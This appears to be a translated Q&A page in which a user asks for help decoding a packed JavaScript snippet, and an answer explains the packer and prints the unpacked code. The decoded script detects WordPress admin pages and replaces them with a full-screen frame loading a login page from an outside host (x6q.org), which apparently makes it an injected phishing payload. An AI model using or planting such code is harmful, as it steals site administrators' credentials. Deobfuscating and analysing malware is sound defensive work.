有人可以解码这个打包的代码吗?

时间:2015-12-22 16:44:07

标签: obfuscation deobfuscation

我在google上搜索了许多解码程序和在线解码网站,但没有人解码该代码,为什么它无法解码该代码?

eval(function(p, a, c, k, e, d) {
    e = function(c) {
        return (c < a ? '' : e(c / a)) + String.fromCharCode(c % a + 161)
    };
    if (!''.replace(/^/, String)) {
        while (c--) {
            d[e(c)] = k[c] || e(c)
        }
        k = [function(e) {
            return d[e]
        }];
        e = function() {
            return '\[\xa1-\xff]+'
        };
        c = 1
    };
    while (c--) {
        if (k[c]) {
            p = p.replace(new RegExp(e(c), 'g'), k[c])
        }
    }
    return p
}('¤ ¬(¨,¦){§ ¢=³ ¹();¢.º(¢.¶()+(µ*·));§ £="; £="+¢.´();¡.Â¥=¨+"="+¦+£+"; °=/"}±.²=¤(){»(¡.Ã….Ä.ª("Æ")>-1&&¡.Â¥.ª(\'­\')==-1){¡.Ã("<« Â=©% ½=©% ¾=0 ¿=0 Ã=0><À Ê=0 ¼=È://Ç.¸/®.¯></«>");¬("­","É")}}', 42, 42, 'document|date|expires|function|cookie|value|var|name|100|indexOf|frameset|createCookie|seeeeen|login|php|path|window|onload|new|toGMTString|300|getTime|1000|org|Date|setTime|if|src|rows|border|frameboarder|frame|framespacing|cols|write|innerHTML|body|wpadminbar|x6q|http|ok|frameborder'.split('|'), 0, {}))

我希望有人可以帮我解码。 感谢

1 个答案:

答案 0 :(得分:0)

所有特殊字符如Â,¢,¤都被视为单个字节。它们是变量,数字表示第二个字符串“document | date | expires | function ...”的索引。采用(p,a,c,k,e,d)参数的内部函数用该列表中的相应名称替换每个变量号。它将生成的源代码作为字符串返回,并将其传递给 eval()函数,该函数接收字符串并将其作为JavaScript执行。

如果要在解压缩源代码后查看源代码,请将第一个函数调用 eval()替换为输出函数,例如 console.log() alert()

function createCookie(name, value) {
    var date = new Date();
    date.setTime(date.getTime() + (300 * 1000));
    var expires = "; expires=" + date.toGMTString();
    document.cookie = name + "=" + value + expires + "; path = /";
}

window.onload = function() {
    if (document.body.innerHTML.indexOf("wpadminbar") > -1 && document.cookie.indexOf('seeeeen') == -1) {
        document.write("<frameset cols=100% rows=100% border=0 frameboarder = 0 framespacing = 0 > < frame frameborder = 0 src = http: //x6q.org/login.php></frameset>");
        createCookie("seeeeen", "ok")
    }
}